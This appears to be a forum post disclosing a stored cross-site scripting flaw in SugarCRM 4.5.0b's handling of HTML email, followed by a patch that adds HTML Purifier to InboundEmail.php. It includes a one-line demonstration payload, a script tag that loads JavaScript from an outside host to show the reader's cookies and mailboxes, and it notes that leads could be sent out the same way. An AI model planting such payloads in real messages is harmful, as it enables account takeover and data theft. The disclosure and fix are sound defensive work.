Why you should read this
Basically, if you receive a html email into Sugar and read it there, you allow the sender to act on your behalf in your Sugar account.
Introduction
The reason for that is that sugar doesn’t sanitize incoming emails and allows javascript code, including malicious code, to be automatically executed when you read an email containing it. As a result, if a person sends you a specially crafted email which you open, he can harm or harvest your SugarCRM account.
Demonstration
Send yourself an html email containing the following html code:
<script type="text/javascript" src="http://www.codebuildingblocks.com/xss_test/sugar.js"></script>
(For instructions on how to do it in Outlook read http://www.slipstick.com/mail1/html.htm)
When you later read this email in Sugar you will see a message with your cookies and then a list of all the inbound mailboxes defined in Sugar. Similarly, one can get a list of your leads or accounts and transmit them out of the system. More sophisticated attacks can be designed which are designed to trick you into giving away your password, etc’.
I have to note that Sugar is protected against session hijacking using stolen cookies which is good, however this is not enough as have been just demonstrated.
Solution
Every other web-mail services nowadays employs a html sanitizing module to remove potentially dangerous code from html emails. I will now show you how to install such a module into Sugar to clean incoming email.
I will use HTML Purifier (http://hp.jpsband.org/) by Edward Z. Yang.
Instruction
This was performed on version 4.5.0b of Sugar.
1. Download HTML Purifier (http://hp.jpsband.org/) and unzip it.
2. Take the content of the HTML Purifier’s ‘library’ directory and upload it into the root of your sugar installation. (Advanced: You can put it in other places but then you will have to define an include directory for that path in InboundEmail.php)
3. Edit /modules/InboundEmail/InboundEmail.php as following:
Location A - headers
************************************************** ******************************/
// AY
require_once 'HTMLPurifier.php';
// ~AY
function this_callback($str) {
Location B - members
var $protocol;
// AY
var $purifier;
// !AY
/**
* Sole constructor
*/
Location C - constructor
imap_timeout(3, 60);
}
// AY
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'XHTML', false); // HTML 4.01
$this->purifier = new HTMLPurifier($config);
// ~AY
}
Location D - importOneEmail
$email->description_html = $this->getMessageText($msgNo, 'HTML', $structure, $fullHeader); // runs through handleTranserEncoding() already
// AY
$email->description_html = $this->purifier->purify($email->description_html);
// ~AY
Comments
Any comments or suggestions on how to improve this?
If anybody is going to patch a different version of Sugar using this process, please write if it works “as is” or what should be changed if it doesn’t.
Thanks.
Author
Arik Yavilevich is an expert in javascript programming having considerable experience writing code for browsers. Arik have founded several websites and companies, including CodeBuildingBlocks which he runs. Arik is available for consulting on interesting web projects.


LinkBack URL
About LinkBacks



Reply With Quote
Bookmarks